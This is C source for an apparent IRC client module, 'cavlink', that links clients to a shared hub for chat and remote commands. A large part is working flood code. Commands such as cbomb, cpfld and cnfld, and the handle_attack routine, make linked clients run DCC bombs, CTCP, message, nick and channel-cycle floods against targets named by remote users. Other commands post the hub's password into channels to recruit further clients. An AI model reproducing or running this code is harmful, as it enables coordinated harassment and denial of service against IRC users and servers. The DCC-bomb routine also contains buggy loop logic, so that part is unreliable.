1 #define CAV_VERSION "0.11"
2 
3 /*
4  *
5  * This is the cavlink link handler.
6  * Written by Colten Edwards. (C) March 97
7  */
8 #include "irc.h"
9 #include "struct.h"
10 #include "dcc.h"
11 #include "ircaux.h"
12 #include "ctcp.h"
13 #include "status.h"
14 #include "lastlog.h"
15 #include "server.h"
16 #include "screen.h"
17 #include "vars.h"
18 #include "misc.h"
19 #include "output.h"
20 #include "cset.h"
21 #include "module.h"
22 #define INIT_MODULE
23 #include "modval.h"
24 
25 #include <sys/time.h>
26 
27 SocketList *cavhub = NULL;
28 int cav_socket = -1;
29 
30 char cavbuf[BIG_BUFFER_SIZE+1];
31 char *cav_nickname = NULL;
32 char *cav_channel = NULL;
33 int cav_port = 7979;
34 time_t cavping = 0;
35 
36 SocketList *cavlink_connect(char *host, unsigned short port);
37 
38 char cav_version[] = CAV_VERSION;
39 
40 #define cparse convert_output_format
41 
42 #define MAXCAVPARA 30
43 
check_cavlink(SocketList * Client,char * str,int active)44 int check_cavlink(SocketList *Client, char *str, int active)
45 {
46 	if ((active && !Client) || (!active && Client))
47 	{
48 		bitchsay(str?str:"Connect to a cavhub first");
49 		return 0;
50 	}
51 	return 1;
52 }
53 
cav_say(char * format,...)54 int cav_say(char *format, ...)
55 {
56 Window  *old_target_window = target_window;
57 int     lastlog_level;
58 	lastlog_level = set_lastlog_msg_level(LOG_CRAP);
59 	if (get_dllint_var("cavlink_window") > 0)
60 		target_window = get_window_by_name("CAVLINK");
61 	if (window_display && format)
62 	{
63 		va_list args;
64 		va_start (args, format);
65 		vsnprintf(&(cavbuf[strlen(get_dllstring_var("cavlink_prompt"))+1]), BIG_BUFFER_SIZE, format, args);
66 		va_end(args);
67 		strcpy(cavbuf, get_dllstring_var("cavlink_prompt"));
68 		cavbuf[strlen(get_dllstring_var("cavlink_prompt"))] = ' ';
69                 if (*cavbuf)
70 		{
71 			add_to_log(irclog_fp, 0, cavbuf, 0);
72 			add_to_screen(cavbuf);
73 		}
74 	}
75 	if (get_dllint_var("cavlink_window")> 0)
76 		target_window = old_target_window;
77 	set_lastlog_msg_level(lastlog_level);
78 	return 0;
79 }
80 
BUILT_IN_DLL(cavsay)81 BUILT_IN_DLL(cavsay)
82 {
83 	if (!check_cavlink(cavhub, NULL, 1))
84 		return;
85 	if (command)
86 	{
87 		if (!my_stricmp(command, "CLSAY"))
88 		{
89 			dcc_printf(cavhub->is_read, "lsay %s\n", args);
90 			return;
91 		}
92 	}
93 	if (args && *args)
94 		dcc_printf(cavhub->is_read, "say %s\n", args);
95 }
96 
BUILT_IN_DLL(cclose)97 BUILT_IN_DLL(cclose)
98 {
99 	if (cav_socket == -1)
100 		return;
101 	close_socketread(cav_socket);
102 	cavhub = NULL;
103 	cav_socket = -1;
104 }
105 
BUILT_IN_DLL(cav_link)106 BUILT_IN_DLL(cav_link)
107 {
108 char *host, *passwd, *port;
109 int sucks = 0;
110 	if (!check_cavlink(cavhub, "Already connected to a CavHub", 0))
111 		return;
112 	if (!(host = next_arg(args, &args)))
113 		host = get_dllstring_var("cavlink_host");
114 	if (!(port = next_arg(args, &args)))
115 		sucks = get_dllint_var("cavlink_port");
116 	else
117 		sucks = my_atol(port);
118 	if (sucks < 100)
119 	{
120 		cav_say("Invalid port specified %d", sucks);
121 		return;
122 	}
123 	if (!(passwd = next_arg(args, &args)))
124 		passwd = get_dllstring_var("cavlink_pass");
125 	if (host && sucks && passwd)
126 	{
127 		cavhub = cavlink_connect(host, (unsigned short)sucks);
128 		set_dllstring_var("cavlink_host", host);
129 		set_dllstring_var("cavlink_pass", passwd);
130 		set_dllint_var("cavlink_port", sucks);
131 	}
132 	else
133 		cav_say("No %s specified", !host?"host":"passwd");
134 }
135 
BUILT_IN_DLL(cmode)136 BUILT_IN_DLL(cmode)
137 {
138 char *nick, *mode;
139 char buffer[BIG_BUFFER_SIZE];
140 	if (!check_cavlink(cavhub, NULL, 1))
141 		return;
142 	mode = next_arg(args, &args);
143 	if (mode && (!my_stricmp(mode, "+a") || !my_stricmp(mode, "-a")) && args)
144 	{
145 		*buffer = 0;
146 		while ((nick = next_arg(args, &args)))
147 		{
148 			*buffer = 0;
149 			if (!my_stricmp(mode, "+a"))
150 				sprintf(buffer, "berserk %s\n", nick);
151 			else if (!my_stricmp(mode, "-a"))
152 				sprintf(buffer, "calm %s\n", nick);
153 			dcc_printf(cavhub->is_read, buffer);
154 		}
155 	} else
156 		cav_say("%s", cparse("%BUsage%W:%n /$0 +%Y|%n-a nick", "%s", command));
157 }
158 
BUILT_IN_DLL(cattack)159 BUILT_IN_DLL(cattack)
160 {
161 char *tmp, *times = "6", *target = NULL, *q;
162 char *comm = NULL;
163 char *type[] = { "dcc_bomb", "version_flood", "ping_flood", "message_flood", "quote_flood", "cycle_flood", "nick_flood", "echo_flood", NULL};
164 	if (!check_cavlink(cavhub, NULL, 1))
165 		return;
166 	if (!my_stricmp(command, "CATTACK"))
167 	{
168 		set_dllint_var("cavlink_attack", get_dllint_var("cavlink_attack") ? 0 : 1);
169 		cav_say(cparse("%RToggled Attack %W$0", "%s", on_off(get_dllint_var("cavlink_attack"))));
170 		return;
171 	}
172 	if (!my_stricmp(command, "cbomb"))
173 		comm = type[0];
174 	else if (!my_stricmp(command, "cvfld"))
175 		comm = type[1];
176 	else if (!my_stricmp(command, "cpfld"))
177 		comm = type[2];
178 	else if (!my_stricmp(command, "cmfld"))
179 		comm = type[3];
180 	else if (!my_stricmp(command, "cqfld"))
181 		comm = type[4];
182 	else if (!my_stricmp(command, "ccfld"))
183 		comm = type[5];
184 	else if (!my_stricmp(command, "cnfld"))
185 		comm = type[6];
186 	else if (!my_stricmp(command, "cefld"))
187 		comm = type[7];
188 	if (!my_stricmp(command, "cspawn"))
189 	{
190 		comm = "spawn_link";
191 		target = "all";
192 		times = "0";
193 		if (args && *args)
194 		{
195 			q = next_arg(args, &args);
196 			if (q && is_channel(q))
197 				target = q;
198 		}
199 	}
200 	else if (!my_stricmp(comm, "quote_flood") || !my_stricmp(comm, "message_flood") || !my_stricmp(comm, "echo_flood"))
201 	{
202 		if (!my_strnicmp(args, "-t", 2))
203 		{
204 			tmp = next_arg(args, &args);
205 			times = next_arg(args, &args);
206 			if (times && !isdigit(*times))
207 				times = "6";
208 			target = next_arg(args, &args);
209 		} else
210 			target = next_arg(args, &args);
211 		if (target && args)
212 			dcc_printf(cavhub->is_read, "attack %s %s %s %s\n", comm, times, target, args);
213 		else
214 			cav_say(cparse("%BUsage%W:%n /$0  %K[%n-t #%K]%n target%Y|%ntarg1,targ2...", "%s", command));
215 		return;
216 	}
217 	else
218 	{
219 		if (!my_strnicmp(args, "-t", 2))
220 		{
221 			tmp = next_arg(args, &args);
222 			times = next_arg(args, &args);
223 			if (times && !isdigit(*times))
224 				times = "6";
225 			target = next_arg(args, &args);
226 		} else
227 			target = next_arg(args, &args);
228 	}
229 	if (target)
230 		dcc_printf(cavhub->is_read, "attack %s %s %s\n", comm, times, target);
231 	else
232 		cav_say(cparse("%BUsage%W:%n /$0  %K[%n-t #%K]%n target%Y|%ntarg1,targ2...", "%s", command));
233 }
234 
BUILT_IN_DLL(cunlink)235 BUILT_IN_DLL(cunlink)
236 {
237 	if (!check_cavlink(cavhub, NULL, 1))
238 		return;
239 	dcc_printf(cavhub->is_read, "quit%s%s\n", (args && *args)?" ":empty_string, (args && *args)?args:empty_string);
240 	cavhub->flags |= DCC_DELETE;
241 	cavhub = NULL;
242 }
243 
BUILT_IN_DLL(cgrab)244 BUILT_IN_DLL(cgrab)
245 {
246 char *target;
247 char buffer[BIG_BUFFER_SIZE];
248 int server = -1;
249 	if (!check_cavlink(cavhub, NULL, 1))
250 		return;
251 	if ((server = current_window->server) == -1)
252 		server = primary_server;
253 
254 	if (!args || !*args)
255 		args = get_current_channel_by_refnum(0);
256 	if ((server != -1) && args)
257 	{
258 		while ((target = next_arg(args, &args)))
259 		{
260 			snprintf(buffer, BIG_BUFFER_SIZE, "PRIVMSG %s :%cCLINK %s %d %s%c", target, CTCP_DELIM_CHAR, get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"), CTCP_DELIM_CHAR);
261 			my_send_to_server(server, buffer);
262 		}
263 	}
264 	else
265 		cav_say(cparse("%BUsage%W:%n /$0  target%Y|%ntarg1 targ2...", "%s", command));
266 }
267 
BUILT_IN_DLL(cavgen)268 BUILT_IN_DLL(cavgen)
269 {
270 	if (!check_cavlink(cavhub, NULL, 1))
271 		return;
272 	if (command)
273 	{
274 		char buffer[BIG_BUFFER_SIZE];
275 
276 		*buffer = 0;
277 		if (!my_stricmp(command, "CWHO"))
278 			sprintf(buffer, "who\n");
279 		else if (!my_stricmp(command, "CRWHO"))
280 			sprintf(buffer, "rwho\n");
281 		else if (!my_stricmp(command, "CSTATS"))
282 			sprintf(buffer, "stats\n");
283 		else if (!my_stricmp(command, "CUPTIME"))
284 			sprintf(buffer, "uptime\n");
285 		else if (!my_stricmp(command, "CMSG") && args)
286 		{
287 			char *nick = next_arg(args, &args);
288 			if (args && *args)
289 			{
290 				sprintf(buffer, "msg %s %s\n", nick, args);
291 				addtabkey(nick, "cmsg", 0);
292 				cav_say("%s",cparse("%g[%r$0%g(%W$1%g)]%n $2-","%s %s %s","cmsg",nick, args));
293 			}
294 		}
295 		else if (!my_stricmp(command, "COPER") && args)
296 			sprintf(buffer, "oper %s\n", args);
297 		else if (!my_stricmp(command, "CPART"))
298 			sprintf(buffer, "leave\n");
299 		else if (!my_stricmp(command, "CLIST"))
300 			sprintf(buffer, "list\n");
301 		else if (!my_stricmp(command, "CJOIN") && args)
302 			sprintf(buffer, "join %s\n", args);
303 		else if (!my_stricmp(command, "CKILL") && args)
304 		{
305 			char *nick = next_arg(args, &args);
306 			sprintf(buffer, "kill %s%s%s\n", nick, args? " ":empty_string, args ? args:empty_string);
307 		}
308 		else if (!my_stricmp(command, "CPONG"))
309 		{
310 			if (cavping == 0)
311 			{
312 				sprintf(buffer, "ping\n");
313 				cavping = time(NULL);
314 			} else
315 				cav_say("Server ping already in progress");
316 		}
317 		else if (!my_stricmp(command, "CPING"))
318 		{
319 			char *nick = next_arg(args, &args);
320 			if (nick)
321 				sprintf(buffer, "msg %s PING %ld\n", nick, (long)time(NULL));
322 			else
323 				sprintf(buffer, "say PING %ld\n", (long)time(NULL));
324 		}
325 		else if (!my_stricmp(command, "CVERSION"))
326 			sprintf(buffer, "version\n");
327 		else if (!my_stricmp(command, "CVER"))
328 		{
329 			char *nick = next_arg(args, &args);
330 			if (nick)
331 				sprintf(buffer, "msg %s VERSION\n", nick);
332 			else
333 				sprintf(buffer, "say VERSION\n");
334 		}
335 		else if (!my_stricmp(command, "CWALL") && args)
336 			sprintf(buffer, "wall %s\n", args);
337 		else if (!my_stricmp(command, "CRWALL") && args)
338 			sprintf(buffer, "rwall %s\n", args);
339 		else if (!my_stricmp(command, "CQUIT"))
340 			sprintf(buffer, "quit%s%s\n", (args && *args)?" ":empty_string, (args && *args)?args:empty_string);
341 		else if (!my_stricmp(command, "CMOTD"))
342 			sprintf(buffer, "motd\n");
343 		else if (!my_stricmp(command, "CDIE"))
344 			sprintf(buffer, "die\n");
345 		else if (!my_stricmp(command, "CCONNECT") && args)
346 			sprintf(buffer, "connect %s\n",args);
347 		else if (!my_stricmp(command, "CME") && args)
348 			sprintf(buffer, "say ACTION %s\n",args);
349 		else if (!my_stricmp(command, "CLUSER"))
350 			sprintf(buffer, "luser\n");
351 		else if (!my_stricmp(command, "CINFO") || !my_stricmp(command, "CWHOIS"))
352 		{
353 			char *nick = next_arg(args, &args);
354 			if (nick)
355 				sprintf(buffer, "msg %s INFO\n", nick);
356 			else
357 				sprintf(buffer, "say INFO\n");
358 		}
359 		else if (!my_stricmp(command, "CBOOT") && args)
360 		{
361 			char *nick = next_arg(args, &args);
362 			sprintf(buffer, "kill %s\n", nick);
363 		}
364 		else if (!my_stricmp(command, "CHUBS"))
365 		{
366 			char *nick = next_arg(args, &args);
367 			sprintf(buffer, "hubs%s%s\n", nick?" ":empty_string, nick?nick:empty_string);
368 		}
369 		else if (!my_stricmp(command, "CSPLIT"))
370 			sprintf(buffer, "split\n");
371 		else if (!my_stricmp(command, "CNICK") && args)
372 		{
373 			char *nick = next_arg(args, &args);
374 			sprintf(buffer, "nick %s\n", nick);
375 		}
376 		else if (!my_stricmp(command, "CKLINE"))
377 		{
378 			char *nick = next_arg(args, &args);
379 			sprintf(buffer, "kline%s%s\n", nick?" ":empty_string, nick?nick:empty_string);
380 		}
381 		if (*buffer)
382 			dcc_printf(cavhub->is_read, buffer);
383 		return;
384 	}
385 	if (args && *args)
386 		dcc_printf(cavhub->is_read, "%s\n", args);
387 }
388 
do_nick_flood(int server,char * target,int repcount,char * key)389 int do_nick_flood(int server, char *target, int repcount, char *key)
390 {
391 int i;
392 ChannelList *chan;
393 int joined = 0;
394 char *channel;
395 
396 	channel = make_channel(target);
397 	if (server == -1)
398 		server = primary_server;
399 	if (server == -1)
400 		return 1;
401 	chan = get_server_channels(server);
402 	if (!chan || !find_in_list((List **)chan, channel, 0))
403 	{
404 		my_send_to_server(server, "JOIN %s%s%s\n", channel, key?" ":empty_string, key?key:empty_string);
405 		joined = 1;
406 	}
407 
408 	for (i = 0; i < repcount; i++)
409 		my_send_to_server(server, "NICK %s", random_str(3, 9));
410 	if (joined)
411 		my_send_to_server(server, "PART %s\n", channel);
412 	return 1;
413 }
414 
do_cycle_flood(int server,char * target,int repcount,char * key)415 int do_cycle_flood(int server, char *target, int repcount, char *key)
416 {
417 char *channel;
418 ChannelList *chan = NULL;
419 char *key1 = NULL;
420 int i;
421 	channel = make_channel(target);
422 	if (server == -1)
423 		server = primary_server;
424 	if (server == -1)
425 		return 1;
426 	chan = get_server_channels(server);
427 	if (!chan || !(chan = (ChannelList *)find_in_list((List **)chan, channel, 0)))
428 	{
429 		for (i = 0; i < repcount; i++)
430 			my_send_to_server(server, "JOIN %s%s%s\nPART %s\n", channel, key?" ":empty_string, key?key:empty_string, channel);
431 	}
432 	else
433 	{
434 		key1 = m_strdup(chan->key);
435 		for (i = 0; i < repcount; i++)
436 			my_send_to_server(server, "PART %s\nJOIN %s%s%s\n", channel, channel, key1?" ":empty_string, key1?key1:empty_string);
437 		new_free(&key1);
438 	}
439 	return 1;
440 }
441 
cav_randm(unsigned long l)442 static unsigned long cav_randm (unsigned long l)
443 {
444 	unsigned long t1, t2, t;
445 	struct timeval tp1;
446 	get_time(&tp1);
447 	if (l == 0)
448 		l = (unsigned long) -1;
449 	get_time(&tp1);
450 	t1 = (unsigned long)tp1.tv_usec;
451 	get_time(&tp1);
452 	t2 = (unsigned long)tp1.tv_usec;
453 	t = (t1 & 65535) * 65536 + (t2 & 65535);
454 	return t % l;
455 }
456 
do_dccbomb(int server,char * target,int repcount)457 int do_dccbomb(int server, char *target, int repcount)
458 {
459 char buffer[BIG_BUFFER_SIZE];
460 int i;
461 char *text = NULL;
462 	if (server == -1)
463 		server = primary_server;
464 	if (server == -1)
465 		return 1;
466 	text = alloca(100);
467 	for (i = 0; i < repcount; i++)
468 	{
469 		snprintf(buffer, IRCD_BUFFER_SIZE,
470 			"%ld%ld%ld %ld%ld%ld %ld%ld%ld %ld%ld%ld", cav_randm(time(NULL))+i,
471 			cav_randm(time(NULL))+i, (long)(time(NULL)+i),
472 			cav_randm(time(NULL))+i, cav_randm(time(NULL))+i,
473 			(long)(time(NULL)+i), cav_randm(time(NULL))+i,
474 			cav_randm(time(NULL))+i, (long)(time(NULL)+i),
475 			cav_randm(time(NULL))+i, cav_randm(time(NULL))+i,
476 			(long)(time(NULL)+i));
477 		for (i = 0; i < cav_randm(80); i++)
478 			text[i] = cav_randm(255)+1;
479 		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :DCC SEND %s 2293243493 8192 6978632", target, text);
480 		my_send_to_server(server, buffer);
481 	}
482 	return 1;
483 }
484 
handle_attack(SocketList * Client,char ** ArgList)485 int handle_attack (SocketList *Client, char **ArgList)
486 {
487 char *type, *times, *target, *extra = NULL;
488 char *nick, *host;
489 int i, repcount, done = 0;
490 char buffer[BIG_BUFFER_SIZE+1];
491 
492 	if (!get_dllint_var("cavlink_attack"))
493 		return 1;
494 
495 	nick = *(ArgList+1);
496 	host = *(ArgList+2);
497 
498 	type = *(ArgList+3);
499 	times = *(ArgList+4);
500 
501 	if (!my_stricmp(type, "message_flood") || !my_stricmp(type, "quote_flood"))
502 	{
503 		PasteArgs(ArgList, 6);
504 		target = *(ArgList+5);
505 		extra = *(ArgList+6);
506 	}
507 	else
508 		target = *(ArgList+5);
509 
510 	*buffer = 0;
511 	if (!my_stricmp(type, "spawn_link"))
512 	{
513 		char *chan = NULL;
514 		int server = current_window->server;
515 		int tmp_server = from_server;
516 		if (server == -1)
517 			server = primary_server;
518 		if (((server = current_window->server) == -1) || get_dllint_var("cavlink_floodspawn") || !get_server_channels(current_window->server))
519 		{
520 			cav_say("%s", cparse("%BIgnoring Spawn link request by $0!$1 to : $2", "%s %s %s", nick, host, target));
521 			return 1;
522 		}
523 		from_server = server;
524 		if (!my_stricmp(target, "all"))
525 		{
526 			char *p;
527 			chan = create_channel_list(current_window);
528 
529 			while((p = strchr(chan, ' ')))
530 				*p=',';
531 			if (chan[strlen(chan)-1] == ',')
532 				chop(chan, 1);
533 			snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :CLINK %s %d %s", chan, get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"));
534 			new_free(&chan);
535 		}
536 		else
537 		{
538 			ChannelList *ch;
539 			ch = get_server_channels(server);
540 			if (find_in_list((List **)ch, target, 0))
541 				snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :CLINK %s %d %s", make_channel(target), get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"));
542 		}
543 		if (*buffer)
544 		{
545 			my_send_to_server(server, buffer);
546 			cav_say("%s", cparse("%BSpawn link request by $0!$1 to : $2", "%s %s %s", nick, host, chan ? chan : target));
547 		}
548 		else
549 			cav_say("%s", cparse("%BIgnoring Spawn link request by $0!$1 to : $2", "%s %s %s", nick, host, target));
550 		from_server = tmp_server;
551 		return 0;
552 	}
553 	if (!type || !target || !times)
554 	{
555 		/* Illegal request */
556 		cav_say("%s", cparse("%BIllegal attack request from $0!$1", "%s %d %s %s %s", nick, host));
557 		return 0;
558 	}
559 	repcount = my_atol(times);
560 	if (repcount <= 0 || repcount > get_dllint_var("cavlink_attack_times"))
561 		repcount = get_dllint_var("cavlink_attack_times");
562 
563 	if (!my_stricmp(type, "quote_flood") && get_dllint_var("cavlink_floodquote"))
564 		snprintf(buffer, IRCD_BUFFER_SIZE, "%s %s", target, extra);
565 	else if (!my_stricmp(type, "version_flood") && get_dllint_var("cavlink_floodversion"))
566 		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :VERSION", target);
567 	else if (!my_stricmp(type, "ping_flood") && get_dllint_var("cavlink_floodping"))
568 		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :PING %ld", target, (long)time(NULL));
569 	else if (!my_stricmp(type, "echo_flood") && get_dllint_var("cavlink_floodecho"))
570 		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :ECHO %s", target, extra);
571 	else if (!my_stricmp(type, "message_flood") && get_dllint_var("cavlink_floodmsg"))
572 		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :%s", target, extra);
573 	else if (!my_stricmp(type, "dcc_bomb") && get_dllint_var("cavlink_flooddccbomb"))
574 		done = do_dccbomb(current_window->server, target, repcount);
575 	else if (!my_stricmp(type, "cycle_flood") && get_dllint_var("cavlink_floodcycle"))
576 		done = do_cycle_flood(current_window->server, target, repcount, *(ArgList+6));
577 	else if (!my_stricmp(type, "nick_flood") && get_dllint_var("cavlink_floodnick"))
578 		done = do_nick_flood(current_window->server, target, repcount, *(ArgList+6));
579 
580 	if (*buffer)
581 	{
582 		for (i = 0; i < repcount; i++)
583 			my_send_to_server(-1, buffer);
584 		done = 1;
585 	}
586 	if (done)
587 		cav_say("%s", cparse("%BAttack request %K[%R$0%K]%B x %R$1%B by %R$2%B to %W: %R$4", "%s %d %s %s %s", type, repcount, nick, host, target));
588 	else
589 		cav_say("%s", cparse("%BIgnoring Attack request %K[%R$0%K]%B x %R$1%B by %R$2%B to %W: %R$4", "%s %d %s %s %s", type, repcount, nick, host, target));
590 	return 0;
591 }
592 
handle_split(SocketList * Client,char ** ArgList)593 int handle_split(SocketList *Client, char **ArgList)
594 {
595 char *t, *serv, *links;
596 static int start_split = 0;
597 	t = *(ArgList+1);
598 	if (!my_stricmp(t, "End"))
599 	{
600 		cav_say("%s", cparse("End of split list", NULL, NULL));
601 		start_split = 0;
602 		return 0;
603 	}
604 	serv = *(ArgList+2);
605 	links = *(ArgList+3);
606 	if (!start_split)
607 		cav_say("%s", cparse("%B$[25]0 $[10]1 $[30]2", "Server Time Uplink", NULL));
608 	cav_say("%s", cparse("$[25]1 $[10]0 $[30]2", "%s %s %s", t, serv, links?links:"*unknown*"));
609 	start_split++;
610 	return 0;
611 }
612 
handle_who(SocketList * Client,char ** ArgList,int remote)613 int handle_who (SocketList *Client, char **ArgList, int remote)
614 {
615 char *chan = NULL, *idle = NULL, *flags = NULL;
616 char *nick, *host;
617 	if (strcmp("end", *(ArgList+1)))
618 	{
619 		if (!remote)
620 		{
621 			nick = *(ArgList+1);
622 			host = *(ArgList+2);
623 			chan = *(ArgList+3);
624 			if (!my_stricmp("(chan:",chan))
625 			{
626 				chan = *(ArgList+4);
627 				chop(chan, 1);
628 			}
629 			else
630 				chan = NULL;
631 			flags = *(ArgList+5);
632 			PasteArgs(ArgList, 6);
633 			if (*(ArgList+6))
634 				malloc_sprintf(&idle,"idle: %s", *(ArgList+6));
635 		}
636 		else
637 		{
638 			nick = *(ArgList+2);
639 			host = *(ArgList+3);
640 			chan = *(ArgList+4);
641 			if (!my_stricmp("(chan:",chan))
642 			{
643 				chan = *(ArgList+5);
644 				chop(chan, 1);
645 			}
646 			else
647 				chan = NULL;
648 			flags = *(ArgList+6);
649 			PasteArgs(ArgList, 7);
650 			if (*(ArgList+7))
651 				malloc_sprintf(&idle,"idle: %s", *(ArgList+7));
652 		}
653 		cav_say("%s",cparse("%g$[10]0%g$[-10]1%G!%g$[30]2 %G$[3]3 $4-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"��"));
654 #if 0
655 		if (remote)
656 /*			cav_say("%s",cparse("%G$[20]0%G$[-10]1%g!%g$[25]2 %g$[3]3 $4-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"��"));*/
657 			cav_say("%s",cparse("$0-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"��"));
658 		else
659 #endif
660 		new_free(&idle);
661 	}
662 	return 0;
663 }
664 
handle_llbot(SocketList * Client,char ** ArgList)665 int handle_llbot (SocketList *Client, char **ArgList)
666 {
667 char *host, *port;
668 	host= *(ArgList+4);
669 	port= *(ArgList+5);
670 	cav_say("llbot attemping connect to %s %s",host, port);
671 	return 0;
672 }
673 
674 char *ctcp_info = NULL;
675 UserList *cav_info = NULL;
676 
handle_ctcp(SocketList * Client,char * nick,char * host,char * chan,char * ptr)677 char *handle_ctcp(SocketList *Client, char *nick, char *host, char *chan, char *ptr)
678 {
679 char local_ctcp_buffer[IRCD_BUFFER_SIZE+1];
680 char the_ctcp[IRCD_BUFFER_SIZE+1];
681 char last[IRCD_BUFFER_SIZE+1];
682 int allow_reply = 1;
683 char *ctcp_command;
684 char *ctcp_arg;
685 int delim = charcount(ptr, CTCP_DELIM_CHAR);
686 int its_me = 0;
687 
688 	if (delim < 2)
689 		return ptr;
690 	if (delim > 8)
691 		allow_reply = 0;
692 	its_me = !my_stricmp(nick, cav_nickname) ? 1 : 0;
693 
694 	strmcpy(local_ctcp_buffer, ptr, IRCD_BUFFER_SIZE-2);
695 	for (;; strmcat(local_ctcp_buffer, last, IRCD_BUFFER_SIZE-2))
696 	{
697 		split_CTCP(local_ctcp_buffer, the_ctcp, last);
698 		if (!*the_ctcp)
699 			break;
700 		if (!allow_reply)
701 			continue;
702 		ctcp_command = the_ctcp;
703 		ctcp_arg = index(the_ctcp, ' ');
704 		if (ctcp_arg)
705 			*ctcp_arg++ = 0;
706 		else
707 			ctcp_arg = empty_string;
708 		if (!my_stricmp(ctcp_command, "PING") && !its_me)
709 		{
710 			dcc_printf(Client->is_read, "msg %s PONG %s\n",nick, ctcp_arg);
711 			cav_say(cparse("CTCP $0 from $1 to $3","PING %s %s %s",nick,host,chan ? chan : "you"));
712 			*local_ctcp_buffer = 0;
713 		}
714 		if (!my_stricmp(ctcp_command, "PONG") && *ctcp_arg)
715 		{
716 			time_t tme;
717 			tme = strtoul(ctcp_arg, &ctcp_arg, 10);
718 			cav_say(cparse("CTCP $0 reply from $1 : $3secs","PONG %s %s %d %s",nick,host, time(NULL)-tme, chan ? chan:empty_string));
719 			*local_ctcp_buffer = 0;
720 		}
721 		else if (!my_stricmp(ctcp_command, "VERSION") && *ctcp_arg)
722 		{
723 			cav_say(cparse("$0-","%s %s %s %s","VERSION",nick,host, ctcp_arg));
724 			*local_ctcp_buffer = 0;
725 		}
726 		else if (!my_stricmp(ctcp_command, "VERSION") && !its_me)
727 		{
728 			if (!my_stricmp(nick, cav_nickname))
729 				cav_say(cparse("$0 $1","%s %s %s %s","VERSION",chan? chan : nick,host, chan?chan:empty_string));
730 			else
731 				cav_say(cparse("CTCP $0 from $1","%s %s %s %s","VERSION",nick,host, chan?chan:empty_string));
732 			*local_ctcp_buffer = 0;
733 			dcc_printf(Client->is_read, "msg %s VERSION %s cavlink %s\n", nick, irc_version, cav_version);
734 		}
735 		else if (!my_stricmp(ctcp_command, "ACTION"))
736 		{
737 			cav_say(cparse("%W*%n $2 $4-","%s %s %s %s %s","ACTION",cav_nickname, nick,host, ctcp_arg));
738 			*local_ctcp_buffer = 0;
739 			addtabkey(nick, "cmsg", 0);
740 		}
741 		else if (!my_stricmp(ctcp_command, "AWAY"))
742 		{
743 			cav_say(cparse("$1!$2 is now away. ($3-)","%s %s %s %s","AWAY",nick,host, ctcp_arg));
744 			*local_ctcp_buffer = 0;
745 		}
746 		else if (!my_stricmp(ctcp_command, "INFO") && !*ctcp_arg && !its_me)
747 		{
748 			char *serv, *channels;
749 			char *msg;
750 			serv = (get_window_server(0) != -1) ? get_server_itsname(get_window_server(0)) : empty_string;
751 			if (current_window->server != -1)
752 			{
753 				ChannelList *tmp;
754 				channels = m_strdup(empty_string);
755 				for (tmp = get_server_channels(current_window->server); tmp; tmp = tmp->next)
756 					m_3cat(&channels, tmp->channel, " ");
757 			}
758 			else
759 				channels = m_strdup(empty_string);
760 			cav_say(cparse("CTCP $0-","%s %s %s","INFO",nick,host));
761 			dcc_printf(Client->is_read, "msg %s INFO %s %s %s", nick, nickname, serv, *channels?channels:"*none*");
762 			if ((msg = get_server_away(from_server)))
763 				dcc_printf(Client->is_read, "msg %s INFO AWAY %s\n", nick, msg);
764 			dcc_printf(Client->is_read, "msg %s INFO END\n", nick);
765 			new_free(&channels);
766 			*local_ctcp_buffer = 0;
767 		}
768 		else if (!my_stricmp(ctcp_command, "INFO") && *ctcp_arg)
769 		{
770 			UserList *n;
771 			if (!my_stricmp(ctcp_arg, "END"))
772 			{
773 				cav_say(cparse("$[10]0 $[20]1 $2", "Nick Server Channels", NULL));
774 				for(; ((n = cav_info) != NULL);)
775 				{
776 					cav_info = cav_info->next;
777 					cav_say(cparse("$[10]0 $[20]1 $2-", "%s", n->channels));
778 					if (n->password)
779 						cav_say(cparse("$0-", "%s", n->password));
780 					new_free(&n->password);
781 					new_free(&n->channels);
782 					new_free(&n->nick);
783 					new_free(&n->host);
784 					new_free((char **)&n);
785 				}
786 			}
787 			else
788 			{
789 				if (!(n = (UserList *)remove_from_list((List **)&cav_info, nick)))
790 				{
791 					n = (UserList *)new_malloc(sizeof(UserList));
792 					n->nick = m_strdup(nick);
793 					n->host = m_strdup(host);
794 				}
795 				if (!my_strnicmp(ctcp_arg, "AWAY", 4))
796 					n->password = m_strdup(ctcp_arg);
797 				else
798 					n->channels = m_strdup(ctcp_arg);
799 				add_to_list((List **)&cav_info, (List *)n);
800 			}
801 			*local_ctcp_buffer = 0;
802 		}
803 	}
804 	return strcpy(ptr, local_ctcp_buffer);
805 }
806 
handle_say(SocketList * Client,char ** ArgList)807 int handle_say (SocketList *Client, char **ArgList)
808 {
809 char *chan, *nick, *host, *str;
810 
811 	chan = *(ArgList+1);
812 	nick = *(ArgList+2);
813 	host = *(ArgList+3);
814 	str  = *(ArgList+4);
815 	PasteArgs(ArgList, 4);
816 
817 	str = handle_ctcp(Client, nick, host, chan, str);
818 	if (!str || !*str)
819 		return 0;
820 	if (!my_stricmp(nick, cav_nickname))
821 		cav_say(cparse("%g<%W$2%g>%n $4-", "%s %s %s %s %s", update_clock(GET_TIME), chan, nick, host, str));
822 	else
823 		cav_say(cparse("%G<%R$1%g/%Y$2%G>%n $4-", "%s %s %s %s %s", update_clock(GET_TIME), chan, nick, host, str));
824 	return 0;
825 }
826 
cav_away(SocketList * Client,char * nick)827 void cav_away(SocketList *Client, char *nick)
828 {
829 NickTab *tmp;
830 	if (get_server_away(from_server) && nick)
831 	{
832 		for (tmp = tabkey_array; tmp; tmp = tmp->next)
833 		{
834 			if (tmp->nick && !my_stricmp(tmp->nick, nick))
835 				return;
836 		}
